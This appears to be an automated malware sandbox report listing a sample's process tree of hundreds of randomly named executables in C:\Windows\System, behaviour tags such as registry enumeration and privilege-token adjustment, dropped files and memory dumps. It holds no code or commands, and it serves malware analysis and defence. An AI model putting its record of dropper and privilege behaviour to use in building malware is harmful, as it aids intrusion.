C:\Windows\System\quKGIIi.exeC:\Windows\System\quKGIIi.exe2⤵
-
-
C:\Windows\System\vVrTUIp.exeC:\Windows\System\vVrTUIp.exe2⤵
-
-
C:\Windows\System\XCzeYAa.exeC:\Windows\System\XCzeYAa.exe2⤵
-
-
C:\Windows\System\pXDJeZP.exeC:\Windows\System\pXDJeZP.exe2⤵
-
-
C:\Windows\System\DwWiogj.exeC:\Windows\System\DwWiogj.exe2⤵
-
-
C:\Windows\System\UWTMArm.exeC:\Windows\System\UWTMArm.exe2⤵
-
-
C:\Windows\System\ZQifnav.exeC:\Windows\System\ZQifnav.exe2⤵
-
-
C:\Windows\System\AzATEMZ.exeC:\Windows\System\AzATEMZ.exe2⤵
-
-
C:\Windows\System\IQQYCkZ.exeC:\Windows\System\IQQYCkZ.exe2⤵
-
-
C:\Windows\System\CNuhpvt.exeC:\Windows\System\CNuhpvt.exe2⤵
-
-
C:\Windows\System\XOotNVN.exeC:\Windows\System\XOotNVN.exe2⤵
-
-
C:\Windows\System\rjaiDkG.exeC:\Windows\System\rjaiDkG.exe2⤵
-
-
C:\Windows\System\tGiqkgV.exeC:\Windows\System\tGiqkgV.exe2⤵
-
-
C:\Windows\System\GMdcjlG.exeC:\Windows\System\GMdcjlG.exe2⤵
-
-
C:\Windows\System\OgZgiJZ.exeC:\Windows\System\OgZgiJZ.exe2⤵
-
-
C:\Windows\System\aNKxEFn.exeC:\Windows\System\aNKxEFn.exe2⤵
-
-
C:\Windows\System\fWzmvPx.exeC:\Windows\System\fWzmvPx.exe2⤵
-
-
C:\Windows\System\oRGbTQq.exeC:\Windows\System\oRGbTQq.exe2⤵
-
-
C:\Windows\System\nIkEccQ.exeC:\Windows\System\nIkEccQ.exe2⤵
-
-
C:\Windows\System\PQwmzsX.exeC:\Windows\System\PQwmzsX.exe2⤵
-
-
C:\Windows\System\WOPXfQw.exeC:\Windows\System\WOPXfQw.exe2⤵
-
-
C:\Windows\System\oKRdmve.exeC:\Windows\System\oKRdmve.exe2⤵
-
-
C:\Windows\System\NfrGDBp.exeC:\Windows\System\NfrGDBp.exe2⤵
-
-
C:\Windows\System\IAEWDHy.exeC:\Windows\System\IAEWDHy.exe2⤵
-
-
C:\Windows\System\jWRSjxU.exeC:\Windows\System\jWRSjxU.exe2⤵
-
-
C:\Windows\System\rIbesJg.exeC:\Windows\System\rIbesJg.exe2⤵
-
-
C:\Windows\System\rbJEqHg.exeC:\Windows\System\rbJEqHg.exe2⤵
-
-
C:\Windows\System\ztyadBz.exeC:\Windows\System\ztyadBz.exe2⤵
-
-
C:\Windows\System\sbZGYEd.exeC:\Windows\System\sbZGYEd.exe2⤵
-
-
C:\Windows\System\zWOfpNe.exeC:\Windows\System\zWOfpNe.exe2⤵
-
-
C:\Windows\System\gybngnH.exeC:\Windows\System\gybngnH.exe2⤵
-
-
C:\Windows\System\uWiwjfk.exeC:\Windows\System\uWiwjfk.exe2⤵
-
-
C:\Windows\System\BYVquxs.exeC:\Windows\System\BYVquxs.exe2⤵
-
-
C:\Windows\System\zyYbrpb.exeC:\Windows\System\zyYbrpb.exe2⤵
-
-
C:\Windows\System\rivkdeT.exeC:\Windows\System\rivkdeT.exe2⤵
-
-
C:\Windows\System\wjiNnVp.exeC:\Windows\System\wjiNnVp.exe2⤵
-
-
C:\Windows\System\aVQGQUV.exeC:\Windows\System\aVQGQUV.exe2⤵
-
-
C:\Windows\System\dCIvdZw.exeC:\Windows\System\dCIvdZw.exe2⤵
-
-
C:\Windows\System\WhmqAEd.exeC:\Windows\System\WhmqAEd.exe2⤵
-
-
C:\Windows\System\fetJjyN.exeC:\Windows\System\fetJjyN.exe2⤵
-
-
C:\Windows\System\jzRsqnQ.exeC:\Windows\System\jzRsqnQ.exe2⤵
-
-
C:\Windows\System\corqKsR.exeC:\Windows\System\corqKsR.exe2⤵
-
-
C:\Windows\System\hkNLDzE.exeC:\Windows\System\hkNLDzE.exe2⤵
-
-
C:\Windows\System\JKhRKzk.exeC:\Windows\System\JKhRKzk.exe2⤵
-
-
C:\Windows\System\DQIPDOX.exeC:\Windows\System\DQIPDOX.exe2⤵
-
-
C:\Windows\System\HRDxekN.exeC:\Windows\System\HRDxekN.exe2⤵
-
-
C:\Windows\System\RxoqRRE.exeC:\Windows\System\RxoqRRE.exe2⤵
-
-
C:\Windows\System\zrbrdIF.exeC:\Windows\System\zrbrdIF.exe2⤵
-
-
C:\Windows\System\ltibZGG.exeC:\Windows\System\ltibZGG.exe2⤵
-
-
C:\Windows\System\aZPHAML.exeC:\Windows\System\aZPHAML.exe2⤵
-
-
C:\Windows\System\GrLZNBv.exeC:\Windows\System\GrLZNBv.exe2⤵
-
-
C:\Windows\System\OgMplEg.exeC:\Windows\System\OgMplEg.exe2⤵
-
-
C:\Windows\System\UzOFjbu.exeC:\Windows\System\UzOFjbu.exe2⤵
-
-
C:\Windows\System\XuZxHCa.exeC:\Windows\System\XuZxHCa.exe2⤵
-
-
C:\Windows\System\QmauwJa.exeC:\Windows\System\QmauwJa.exe2⤵
-
-
C:\Windows\System\lQyXCWy.exeC:\Windows\System\lQyXCWy.exe2⤵
-
-
C:\Windows\System\RBeRrHa.exeC:\Windows\System\RBeRrHa.exe2⤵
-
-
C:\Windows\System\RvyHHaU.exeC:\Windows\System\RvyHHaU.exe2⤵
-
-
C:\Windows\System\HrpZHFf.exeC:\Windows\System\HrpZHFf.exe2⤵
-
-
C:\Windows\System\ujLsfYt.exeC:\Windows\System\ujLsfYt.exe2⤵
-
-
C:\Windows\System\alpctNM.exeC:\Windows\System\alpctNM.exe2⤵
-
-
C:\Windows\System\DlPDlDP.exeC:\Windows\System\DlPDlDP.exe2⤵
-
-
C:\Windows\System\tQLcLsG.exeC:\Windows\System\tQLcLsG.exe2⤵
-
-
C:\Windows\System\Yjbrshk.exeC:\Windows\System\Yjbrshk.exe2⤵
-
-
C:\Windows\System\ubXnFMi.exeC:\Windows\System\ubXnFMi.exe2⤵
-
-
C:\Windows\System\QROEgBP.exeC:\Windows\System\QROEgBP.exe2⤵
-
-
C:\Windows\System\vKDAQrS.exeC:\Windows\System\vKDAQrS.exe2⤵
-
-
C:\Windows\System\dldjZRk.exeC:\Windows\System\dldjZRk.exe2⤵
-
-
C:\Windows\System\ZBsYTmG.exeC:\Windows\System\ZBsYTmG.exe2⤵
-
-
C:\Windows\System\LvwHvOr.exeC:\Windows\System\LvwHvOr.exe2⤵
-
-
C:\Windows\System\UEPvsMS.exeC:\Windows\System\UEPvsMS.exe2⤵
-
-
C:\Windows\System\FieIUqz.exeC:\Windows\System\FieIUqz.exe2⤵
-
-
C:\Windows\System\SHQJdbA.exeC:\Windows\System\SHQJdbA.exe2⤵
-
-
C:\Windows\System\bQqxnuM.exeC:\Windows\System\bQqxnuM.exe2⤵
-
-
C:\Windows\System\QFXATCR.exeC:\Windows\System\QFXATCR.exe2⤵
-
-
C:\Windows\System\VmnVWBW.exeC:\Windows\System\VmnVWBW.exe2⤵
-
-
C:\Windows\System\IPtZUyH.exeC:\Windows\System\IPtZUyH.exe2⤵
-
-
C:\Windows\System\eodNPzZ.exeC:\Windows\System\eodNPzZ.exe2⤵
-
-
C:\Windows\System\lhZagsr.exeC:\Windows\System\lhZagsr.exe2⤵
-
-
C:\Windows\System\aNPBMws.exeC:\Windows\System\aNPBMws.exe2⤵
-
-
C:\Windows\System\YwRnnkp.exeC:\Windows\System\YwRnnkp.exe2⤵
-
-
C:\Windows\System\OhXnPJF.exeC:\Windows\System\OhXnPJF.exe2⤵
-
-
C:\Windows\System\ywAqCrH.exeC:\Windows\System\ywAqCrH.exe2⤵
-
-
C:\Windows\System\BxksbGB.exeC:\Windows\System\BxksbGB.exe2⤵
-
-
C:\Windows\System\gJdjMfB.exeC:\Windows\System\gJdjMfB.exe2⤵
-
-
C:\Windows\System\uCqbHxR.exeC:\Windows\System\uCqbHxR.exe2⤵
-
-
C:\Windows\System\iWlGRTA.exeC:\Windows\System\iWlGRTA.exe2⤵
-
-
C:\Windows\System\EsdWsKq.exeC:\Windows\System\EsdWsKq.exe2⤵
-
-
C:\Windows\System\tiiXNYS.exeC:\Windows\System\tiiXNYS.exe2⤵
-
-
C:\Windows\System\fwSJkFT.exeC:\Windows\System\fwSJkFT.exe2⤵
-
-
C:\Windows\System\BKijQen.exeC:\Windows\System\BKijQen.exe2⤵
-
-
C:\Windows\System\dskSrzv.exeC:\Windows\System\dskSrzv.exe2⤵
-
-
C:\Windows\System\lRagFXc.exeC:\Windows\System\lRagFXc.exe2⤵
-
-
C:\Windows\System\LSaDInY.exeC:\Windows\System\LSaDInY.exe2⤵
-
-
C:\Windows\System\dQONDPr.exeC:\Windows\System\dQONDPr.exe2⤵
-
-
C:\Windows\System\neEHPCQ.exeC:\Windows\System\neEHPCQ.exe2⤵
-
-
C:\Windows\System\tpyCYyF.exeC:\Windows\System\tpyCYyF.exe2⤵
-
-
C:\Windows\System\NPFIdDM.exeC:\Windows\System\NPFIdDM.exe2⤵
-
-
C:\Windows\System\RAePgDq.exeC:\Windows\System\RAePgDq.exe2⤵
-
-
C:\Windows\System\iHiPmka.exeC:\Windows\System\iHiPmka.exe2⤵
-
-
C:\Windows\System\hIAchLG.exeC:\Windows\System\hIAchLG.exe2⤵
-
-
C:\Windows\System\cfmtlUD.exeC:\Windows\System\cfmtlUD.exe2⤵
-
-
C:\Windows\System\LdsukzL.exeC:\Windows\System\LdsukzL.exe2⤵
-
-
C:\Windows\System\DUjzzME.exeC:\Windows\System\DUjzzME.exe2⤵
-
-
C:\Windows\System\XdIqEIz.exeC:\Windows\System\XdIqEIz.exe2⤵
-
-
C:\Windows\System\QCCOQvA.exeC:\Windows\System\QCCOQvA.exe2⤵
-
-
C:\Windows\System\CmpMuGc.exeC:\Windows\System\CmpMuGc.exe2⤵
-
-
C:\Windows\System\mQTjNYR.exeC:\Windows\System\mQTjNYR.exe2⤵
-
-
C:\Windows\System\kAirfIm.exeC:\Windows\System\kAirfIm.exe2⤵
-
-
C:\Windows\System\svZGKdD.exeC:\Windows\System\svZGKdD.exe2⤵
-
-
C:\Windows\System\fVcRDcb.exeC:\Windows\System\fVcRDcb.exe2⤵
-
-
C:\Windows\System\bMlDjpc.exeC:\Windows\System\bMlDjpc.exe2⤵
-
-
C:\Windows\System\PfouCUz.exeC:\Windows\System\PfouCUz.exe2⤵
-
-
C:\Windows\System\pJpiHDg.exeC:\Windows\System\pJpiHDg.exe2⤵
-
-
C:\Windows\System\rNBjGGq.exeC:\Windows\System\rNBjGGq.exe2⤵
-
-
C:\Windows\System\CWisgxS.exeC:\Windows\System\CWisgxS.exe2⤵
-
-
C:\Windows\System\PDqQJQl.exeC:\Windows\System\PDqQJQl.exe2⤵
-
-
C:\Windows\System\SyGYZBz.exeC:\Windows\System\SyGYZBz.exe2⤵
-
-
C:\Windows\System\uaaNLts.exeC:\Windows\System\uaaNLts.exe2⤵
-
-
C:\Windows\System\YLyIPNO.exeC:\Windows\System\YLyIPNO.exe2⤵
-
-
C:\Windows\System\xWFudlg.exeC:\Windows\System\xWFudlg.exe2⤵
-
-
C:\Windows\System\ENgfeuJ.exeC:\Windows\System\ENgfeuJ.exe2⤵
-
-
C:\Windows\System\ZTGmuRQ.exeC:\Windows\System\ZTGmuRQ.exe2⤵
-
-
C:\Windows\System\kOmCVWC.exeC:\Windows\System\kOmCVWC.exe2⤵
-
-
C:\Windows\System\mWiDuww.exeC:\Windows\System\mWiDuww.exe2⤵
-
-
C:\Windows\System\ckmDzcV.exeC:\Windows\System\ckmDzcV.exe2⤵
-
-
C:\Windows\System\FNdGyUG.exeC:\Windows\System\FNdGyUG.exe2⤵
-
-
C:\Windows\System\rvvhWhH.exeC:\Windows\System\rvvhWhH.exe2⤵
-
-
C:\Windows\System\SIwBUGl.exeC:\Windows\System\SIwBUGl.exe2⤵
-
-
C:\Windows\System\brosVBj.exeC:\Windows\System\brosVBj.exe2⤵
-
-
C:\Windows\System\KpwPSvV.exeC:\Windows\System\KpwPSvV.exe2⤵
-
-
C:\Windows\System\ZHnxTOh.exeC:\Windows\System\ZHnxTOh.exe2⤵
-
-
C:\Windows\System\qZBOmXu.exeC:\Windows\System\qZBOmXu.exe2⤵
-
-
C:\Windows\System\CAqvEOk.exeC:\Windows\System\CAqvEOk.exe2⤵
-
-
C:\Windows\System\iFqzyRD.exeC:\Windows\System\iFqzyRD.exe2⤵
-
-
C:\Windows\System\svIaAwf.exeC:\Windows\System\svIaAwf.exe2⤵
-
-
C:\Windows\System\EvVjXvW.exeC:\Windows\System\EvVjXvW.exe2⤵
-
-
C:\Windows\System\uEZDmBE.exeC:\Windows\System\uEZDmBE.exe2⤵
-
-
C:\Windows\System\xTczMVr.exeC:\Windows\System\xTczMVr.exe2⤵
-
-
C:\Windows\System\qAxuCeV.exeC:\Windows\System\qAxuCeV.exe2⤵
-
-
C:\Windows\System\xzKCwkq.exeC:\Windows\System\xzKCwkq.exe2⤵
-
-
C:\Windows\System\pcFNayH.exeC:\Windows\System\pcFNayH.exe2⤵
-
-
C:\Windows\System\yEwOyPy.exeC:\Windows\System\yEwOyPy.exe2⤵
-
-
C:\Windows\System\bLPYUed.exeC:\Windows\System\bLPYUed.exe2⤵
-
-
C:\Windows\System\hWvBlbo.exeC:\Windows\System\hWvBlbo.exe2⤵
-
-
C:\Windows\System\qmTpANp.exeC:\Windows\System\qmTpANp.exe2⤵
-
-
C:\Windows\System\VflUiHN.exeC:\Windows\System\VflUiHN.exe2⤵
-
-
C:\Windows\System\bQNMxWK.exeC:\Windows\System\bQNMxWK.exe2⤵
-
-
C:\Windows\System\VqmBEOn.exeC:\Windows\System\VqmBEOn.exe2⤵
-
-
C:\Windows\System\tiTVhAP.exeC:\Windows\System\tiTVhAP.exe2⤵
-
-
C:\Windows\System\RnKgmAF.exeC:\Windows\System\RnKgmAF.exe2⤵
-
-
C:\Windows\System\mhZlykn.exeC:\Windows\System\mhZlykn.exe2⤵
-
-
C:\Windows\System\HpnEllH.exeC:\Windows\System\HpnEllH.exe2⤵
-
-
C:\Windows\System\cdXDjFc.exeC:\Windows\System\cdXDjFc.exe2⤵
-
-
C:\Windows\System\jRwupmd.exeC:\Windows\System\jRwupmd.exe2⤵
-
-
C:\Windows\System\LMsOyWN.exeC:\Windows\System\LMsOyWN.exe2⤵
-
-
C:\Windows\System\UJnpOVA.exeC:\Windows\System\UJnpOVA.exe2⤵
-
-
C:\Windows\System\SKLDRPd.exeC:\Windows\System\SKLDRPd.exe2⤵
-
-
C:\Windows\System\wXcFeqr.exeC:\Windows\System\wXcFeqr.exe2⤵
-
-
C:\Windows\System\yTiwHcm.exeC:\Windows\System\yTiwHcm.exe2⤵
-
-
C:\Windows\System\RhMdcoa.exeC:\Windows\System\RhMdcoa.exe2⤵
-
-
C:\Windows\System\JCZHkNW.exeC:\Windows\System\JCZHkNW.exe2⤵
-
-
C:\Windows\System\ORZGBON.exeC:\Windows\System\ORZGBON.exe2⤵
-
-
C:\Windows\System\kDEtmwF.exeC:\Windows\System\kDEtmwF.exe2⤵
-
-
C:\Windows\System\TwnVdus.exeC:\Windows\System\TwnVdus.exe2⤵
-
-
C:\Windows\System\LnMnDJN.exeC:\Windows\System\LnMnDJN.exe2⤵
-
-
C:\Windows\System\VXRdPWm.exeC:\Windows\System\VXRdPWm.exe2⤵
-
-
C:\Windows\System\FsQnAOE.exeC:\Windows\System\FsQnAOE.exe2⤵
-
-
C:\Windows\System\HmgwhTt.exeC:\Windows\System\HmgwhTt.exe2⤵
-
-
C:\Windows\System\KOBKTys.exeC:\Windows\System\KOBKTys.exe2⤵
-
-
C:\Windows\System\gEHKoNA.exeC:\Windows\System\gEHKoNA.exe2⤵
-
-
C:\Windows\System\QOZBnXy.exeC:\Windows\System\QOZBnXy.exe2⤵
-
-
C:\Windows\System\UbziDVa.exeC:\Windows\System\UbziDVa.exe2⤵
-
-
C:\Windows\System\mZMvPrJ.exeC:\Windows\System\mZMvPrJ.exe2⤵
-
-
C:\Windows\System\PTmaJir.exeC:\Windows\System\PTmaJir.exe2⤵
-
-
C:\Windows\System\iCfxqZk.exeC:\Windows\System\iCfxqZk.exe2⤵
-
-
C:\Windows\System\AhDqOLg.exeC:\Windows\System\AhDqOLg.exe2⤵
-
-
C:\Windows\System\ekzsWtT.exeC:\Windows\System\ekzsWtT.exe2⤵
-
-
C:\Windows\System\xqtRyaT.exeC:\Windows\System\xqtRyaT.exe2⤵
-
-
C:\Windows\System\SwCAqoq.exeC:\Windows\System\SwCAqoq.exe2⤵
-
-
C:\Windows\System\ZFQtsFO.exeC:\Windows\System\ZFQtsFO.exe2⤵
-
-
C:\Windows\System\kBElcxb.exeC:\Windows\System\kBElcxb.exe2⤵
-
-
C:\Windows\System\WQNGTXT.exeC:\Windows\System\WQNGTXT.exe2⤵
-
-
C:\Windows\System\lfaUokk.exeC:\Windows\System\lfaUokk.exe2⤵
-
-
C:\Windows\System\lUFwUdJ.exeC:\Windows\System\lUFwUdJ.exe2⤵
-
-
C:\Windows\System\pVCSOuy.exeC:\Windows\System\pVCSOuy.exe2⤵
-
-
C:\Windows\System\LSQosiE.exeC:\Windows\System\LSQosiE.exe2⤵
-
-
C:\Windows\System\PlidCmb.exeC:\Windows\System\PlidCmb.exe2⤵
-
-
C:\Windows\System\cottjmV.exeC:\Windows\System\cottjmV.exe2⤵
-
-
C:\Windows\System\CNFXXTJ.exeC:\Windows\System\CNFXXTJ.exe2⤵
-
-
C:\Windows\System\MTisFzX.exeC:\Windows\System\MTisFzX.exe2⤵
-
-
C:\Windows\System\jVKKUtI.exeC:\Windows\System\jVKKUtI.exe2⤵
-
-
C:\Windows\System\LcqfctD.exeC:\Windows\System\LcqfctD.exe2⤵
-
-
C:\Windows\System\cXuvKFY.exeC:\Windows\System\cXuvKFY.exe2⤵
-
-
C:\Windows\System\JECblQH.exeC:\Windows\System\JECblQH.exe2⤵
-
-
C:\Windows\System\axHULdg.exeC:\Windows\System\axHULdg.exe2⤵
-
-
C:\Windows\System\JatWkYm.exeC:\Windows\System\JatWkYm.exe2⤵
-
-
C:\Windows\System\qMRQXbj.exeC:\Windows\System\qMRQXbj.exe2⤵
-
-
C:\Windows\System\dwYpXxU.exeC:\Windows\System\dwYpXxU.exe2⤵
-
-
C:\Windows\System\CukgZdH.exeC:\Windows\System\CukgZdH.exe2⤵
-
-
C:\Windows\System\qOAhnlY.exeC:\Windows\System\qOAhnlY.exe2⤵
-
-
C:\Windows\System\wOLTkfQ.exeC:\Windows\System\wOLTkfQ.exe2⤵
-
-
C:\Windows\System\ilSXveU.exeC:\Windows\System\ilSXveU.exe2⤵
-
-
C:\Windows\System\cOQCoqj.exeC:\Windows\System\cOQCoqj.exe2⤵
-
-
C:\Windows\System\TEHKEZH.exeC:\Windows\System\TEHKEZH.exe2⤵
-
-
C:\Windows\System\hsrbujw.exeC:\Windows\System\hsrbujw.exe2⤵
-
-
C:\Windows\System\VtCNtpb.exeC:\Windows\System\VtCNtpb.exe2⤵
-
-
C:\Windows\System\PueWsYz.exeC:\Windows\System\PueWsYz.exe2⤵
-
-
C:\Windows\System\HzfrlMi.exeC:\Windows\System\HzfrlMi.exe2⤵
-
-
C:\Windows\System\teeCpli.exeC:\Windows\System\teeCpli.exe2⤵
-
-
C:\Windows\System\lurbBdq.exeC:\Windows\System\lurbBdq.exe2⤵
-
-
C:\Windows\System\uULgGbO.exeC:\Windows\System\uULgGbO.exe2⤵
-
-
C:\Windows\System\HkiixBK.exeC:\Windows\System\HkiixBK.exe2⤵
-
-
C:\Windows\System\bpyIROt.exeC:\Windows\System\bpyIROt.exe2⤵
-
-
C:\Windows\System\eRWsckn.exeC:\Windows\System\eRWsckn.exe2⤵
-
-
C:\Windows\System\pEMSvXd.exeC:\Windows\System\pEMSvXd.exe2⤵
-
-
C:\Windows\System\NQahAEs.exeC:\Windows\System\NQahAEs.exe2⤵
-
-
C:\Windows\System\gDsHDxq.exeC:\Windows\System\gDsHDxq.exe2⤵
-
-
C:\Windows\System\poDXTYj.exeC:\Windows\System\poDXTYj.exe2⤵
-
-
C:\Windows\System\eqELgbj.exeC:\Windows\System\eqELgbj.exe2⤵
-
-
C:\Windows\System\uLSAQjW.exeC:\Windows\System\uLSAQjW.exe2⤵
-
-
C:\Windows\System\WttLotd.exeC:\Windows\System\WttLotd.exe2⤵
-
-
C:\Windows\System\CsxrWmB.exeC:\Windows\System\CsxrWmB.exe2⤵
-
-
C:\Windows\System\khTwMOh.exeC:\Windows\System\khTwMOh.exe2⤵
-
-
C:\Windows\System\SBreyYG.exeC:\Windows\System\SBreyYG.exe2⤵
-
-
C:\Windows\System\zWExXvh.exeC:\Windows\System\zWExXvh.exe2⤵
-
-
C:\Windows\System\gSlfwyP.exeC:\Windows\System\gSlfwyP.exe2⤵
-
-
C:\Windows\System\CeiNpmI.exeC:\Windows\System\CeiNpmI.exe2⤵
-
-
C:\Windows\System\TSNJetE.exeC:\Windows\System\TSNJetE.exe2⤵
-
-
C:\Windows\System\OYQeTkG.exeC:\Windows\System\OYQeTkG.exe2⤵
-
-
C:\Windows\System\KfZezcK.exeC:\Windows\System\KfZezcK.exe2⤵
-
-
C:\Windows\System\qGEloHR.exeC:\Windows\System\qGEloHR.exe2⤵
-
-
C:\Windows\System\fLxnssq.exeC:\Windows\System\fLxnssq.exe2⤵
-
-
C:\Windows\System\nGKECtt.exeC:\Windows\System\nGKECtt.exe2⤵
-
-
C:\Windows\System\VCVQsHz.exeC:\Windows\System\VCVQsHz.exe2⤵
-
-
C:\Windows\System\pohQeHi.exeC:\Windows\System\pohQeHi.exe2⤵
-
-
C:\Windows\System\uaDPgGS.exeC:\Windows\System\uaDPgGS.exe2⤵
-
-
C:\Windows\System\fqJVnDd.exeC:\Windows\System\fqJVnDd.exe2⤵
-
-
C:\Windows\System\lWobIgk.exeC:\Windows\System\lWobIgk.exe2⤵
-
-
C:\Windows\System\fWnGshZ.exeC:\Windows\System\fWnGshZ.exe2⤵
-
-
C:\Windows\System\JqjjDNr.exeC:\Windows\System\JqjjDNr.exe2⤵
-
-
C:\Windows\System\egYIZOa.exeC:\Windows\System\egYIZOa.exe2⤵
-
-
C:\Windows\System\mzitjuA.exeC:\Windows\System\mzitjuA.exe2⤵
-
-
C:\Windows\System\LRCAVkC.exeC:\Windows\System\LRCAVkC.exe2⤵
-
-
C:\Windows\System\AIuafKn.exeC:\Windows\System\AIuafKn.exe2⤵
-
-
C:\Windows\System\GxDSefu.exeC:\Windows\System\GxDSefu.exe2⤵
-
-
C:\Windows\System\MzPumCE.exeC:\Windows\System\MzPumCE.exe2⤵
-
-
C:\Windows\System\YtNuuma.exeC:\Windows\System\YtNuuma.exe2⤵
-
-
C:\Windows\System\xQSCBOM.exeC:\Windows\System\xQSCBOM.exe2⤵
-
-
C:\Windows\System\kHuYGpV.exeC:\Windows\System\kHuYGpV.exe2⤵
-
-
C:\Windows\System\hAInTNq.exeC:\Windows\System\hAInTNq.exe2⤵
-
-
C:\Windows\System\xDDchsK.exeC:\Windows\System\xDDchsK.exe2⤵
-
-
C:\Windows\System\dEgagMT.exeC:\Windows\System\dEgagMT.exe2⤵
-
-
C:\Windows\System\bTxchfQ.exeC:\Windows\System\bTxchfQ.exe2⤵
-
-
C:\Windows\System\gzfExqJ.exeC:\Windows\System\gzfExqJ.exe2⤵
-
-
C:\Windows\System\lEwlSZl.exeC:\Windows\System\lEwlSZl.exe2⤵
-
-
C:\Windows\System\PYSyPlB.exeC:\Windows\System\PYSyPlB.exe2⤵
-
-
C:\Windows\System\fwOwvMu.exeC:\Windows\System\fwOwvMu.exe2⤵
-
-
C:\Windows\System\tLhgLwt.exeC:\Windows\System\tLhgLwt.exe2⤵
-
-
C:\Windows\System\qOMEZiD.exeC:\Windows\System\qOMEZiD.exe2⤵
-
-
C:\Windows\System\qMJhTto.exeC:\Windows\System\qMJhTto.exe2⤵
-
-
C:\Windows\System\xEexgLi.exeC:\Windows\System\xEexgLi.exe2⤵
-
-
C:\Windows\System\jNGdpOX.exeC:\Windows\System\jNGdpOX.exe2⤵
-
-
C:\Windows\System\heckVeh.exeC:\Windows\System\heckVeh.exe2⤵
-
-
C:\Windows\System\VpLJpZE.exeC:\Windows\System\VpLJpZE.exe2⤵
-
-
C:\Windows\System\fKAfPam.exeC:\Windows\System\fKAfPam.exe2⤵
-
-
C:\Windows\System\LbBUoUR.exeC:\Windows\System\LbBUoUR.exe2⤵
-
-
C:\Windows\System\ZPhEhbN.exeC:\Windows\System\ZPhEhbN.exe2⤵
-
-
C:\Windows\System\ACWodFQ.exeC:\Windows\System\ACWodFQ.exe2⤵
-
-
C:\Windows\System\SUmRVsF.exeC:\Windows\System\SUmRVsF.exe2⤵
-
-
C:\Windows\System\fGThATj.exeC:\Windows\System\fGThATj.exe2⤵
-
-
C:\Windows\System\VdyDjoR.exeC:\Windows\System\VdyDjoR.exe2⤵
-
-
C:\Windows\System\RkwqVEe.exeC:\Windows\System\RkwqVEe.exe2⤵
-
-
C:\Windows\System\VxVIBJn.exeC:\Windows\System\VxVIBJn.exe2⤵
-
-
C:\Windows\System\esdyPvh.exeC:\Windows\System\esdyPvh.exe2⤵
-
-
C:\Windows\System\aRUCSzB.exeC:\Windows\System\aRUCSzB.exe2⤵
-
-
C:\Windows\System\FlFmcNv.exeC:\Windows\System\FlFmcNv.exe2⤵
-
-
C:\Windows\System\eertitD.exeC:\Windows\System\eertitD.exe2⤵
-
-
C:\Windows\System\tULcdiu.exeC:\Windows\System\tULcdiu.exe2⤵
-
-
C:\Windows\System\QXXrcbq.exeC:\Windows\System\QXXrcbq.exe2⤵
-
-
C:\Windows\System\WOjONQW.exeC:\Windows\System\WOjONQW.exe2⤵
-
-
C:\Windows\System\ESRKJuz.exeC:\Windows\System\ESRKJuz.exe2⤵
-
-
C:\Windows\system32\dwm.exe"dwm.exe"1⤵
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_z1dj21oj.c3d.ps1
AqgRvvl.exe
GJJrVNz.exe
GXykbKK.exe
GnwhIjn.exe
HloOaVn.exe
KKcBpKO.exe
OGWCEEj.exe
PwAzZvH.exe
ThZsJcW.exe
UZKlcNj.exe
WwMHrTK.exe
XJrZbIs.exe
XRvnCrg.exe
XzWBIfW.exe
ZSyxfGB.exe
aQaeEzm.exe
bWtZLNx.exe
blyFKdQ.exe
dBMjUCi.exe
hEsKWva.exe
jLLcEYc.exe
lBtiUbJ.exe
lTNjzce.exe
lxAYLca.exe
lyqCpzJ.exe
mNGvFVb.exe
mYkTpaa.exe
obWZZfe.exe
pGwJVKc.exe
rclvPEw.exe
roqRhsI.exe
sQLWLzZ.exe
uupbINO.exe
wdyimaY.exe
xCRSIeE.exe
xgWdyNH.exe
yNMETSA.exe
yvNwiNB.exe
memory/60-247-0x00007FF629B40000-0x00007FF629F36000-memory.dmp
memory/60-2717-0x00007FF629B40000-0x00007FF629F36000-memory.dmp
memory/212-217-0x00007FF7F3520000-0x00007FF7F3916000-memory.dmp
memory/212-2713-0x00007FF7F3520000-0x00007FF7F3916000-memory.dmp
memory/224-103-0x00007FF716570000-0x00007FF716966000-memory.dmp
memory/224-2692-0x00007FF716570000-0x00007FF716966000-memory.dmp
memory/224-2708-0x00007FF716570000-0x00007FF716966000-memory.dmp
memory/456-2703-0x00007FF7D23A0000-0x00007FF7D2796000-memory.dmp
memory/456-76-0x00007FF7D23A0000-0x00007FF7D2796000-memory.dmp
memory/1156-82-0x00007FF667C10000-0x00007FF668006000-memory.dmp
memory/1156-2701-0x00007FF667C10000-0x00007FF668006000-memory.dmp
memory/1180-199-0x00007FF6AA7D0000-0x00007FF6AABC6000-memory.dmp
memory/1180-2716-0x00007FF6AA7D0000-0x00007FF6AABC6000-memory.dmp
memory/1960-2695-0x00007FF7E6880000-0x00007FF7E6C76000-memory.dmp
memory/1960-24-0x00007FF7E6880000-0x00007FF7E6C76000-memory.dmp
memory/2044-2715-0x00007FF6AB390000-0x00007FF6AB786000-memory.dmp
memory/2044-233-0x00007FF6AB390000-0x00007FF6AB786000-memory.dmp
memory/2288-2711-0x00007FF7A8AD0000-0x00007FF7A8EC6000-memory.dmp
memory/2288-138-0x00007FF7A8AD0000-0x00007FF7A8EC6000-memory.dmp
memory/2320-85-0x00007FF73D740000-0x00007FF73DB36000-memory.dmp
memory/2320-2698-0x00007FF73D740000-0x00007FF73DB36000-memory.dmp
memory/2440-2704-0x00007FF7DE520000-0x00007FF7DE916000-memory.dmp
memory/2440-75-0x00007FF7DE520000-0x00007FF7DE916000-memory.dmp
memory/2956-2693-0x00007FF77CF20000-0x00007FF77D316000-memory.dmp
memory/2956-113-0x00007FF77CF20000-0x00007FF77D316000-memory.dmp
memory/2956-2709-0x00007FF77CF20000-0x00007FF77D316000-memory.dmp
memory/3040-1-0x000001F1DEFD0000-0x000001F1DEFE0000-memory.dmp
memory/3040-1578-0x00007FF69D4C0000-0x00007FF69D8B6000-memory.dmp
memory/3040-0-0x00007FF69D4C0000-0x00007FF69D8B6000-memory.dmp
memory/3220-186-0x00007FF6FBEE0000-0x00007FF6FC2D6000-memory.dmp
memory/3220-2694-0x00007FF6FBEE0000-0x00007FF6FC2D6000-memory.dmp
memory/3220-2718-0x00007FF6FBEE0000-0x00007FF6FC2D6000-memory.dmp
memory/3316-2705-0x00007FF7061F0000-0x00007FF7065E6000-memory.dmp
memory/3316-84-0x00007FF7061F0000-0x00007FF7065E6000-memory.dmp
memory/3436-7-0x00007FF6AEDF0000-0x00007FF6AF1E6000-memory.dmp
